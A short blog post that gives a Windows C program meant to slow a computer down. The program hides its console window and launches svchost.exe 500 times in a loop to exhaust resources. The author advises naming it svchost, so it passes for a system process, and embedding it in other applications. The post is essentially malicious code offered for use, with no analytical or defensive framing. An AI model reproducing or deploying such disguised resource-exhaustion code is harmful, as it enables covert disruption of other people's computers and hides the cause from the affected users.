The Realm of Real

..rjproz's blog..

How to slow the computer – Code 1

One Simple c program to slow the computer. Embed the code for disgusting applications 😛 Save the program as svchost.

Image source from internet
#include <windows.h>
#include <string.h>
void stealth()
{
typedef HWND (WINAPI *tGetConsoleWindow)(void);
tGetConsoleWindow pGetConsoleWindow = 0;
HINSTANCE handle = ::LoadLibrary("Kernel32.dll");
if ( handle )
pGetConsoleWindow = (tGetConsoleWindow)::GetProcAddress(handle, "GetConsoleWindow");

HWND hwnd = pGetConsoleWindow();
::ShowWindow(hwnd,SW_HIDE);
}
void main()
{

stealth();

char l[1000],l2[1000];
int i;
for(i=0;i<500;i++)
{
system("start /min svchost.exe");
strcpy(l,"Slow Pc");
strcpy(l2,l);

}

}

Leave a Reply

Your email address will not be published. Required fields are marked *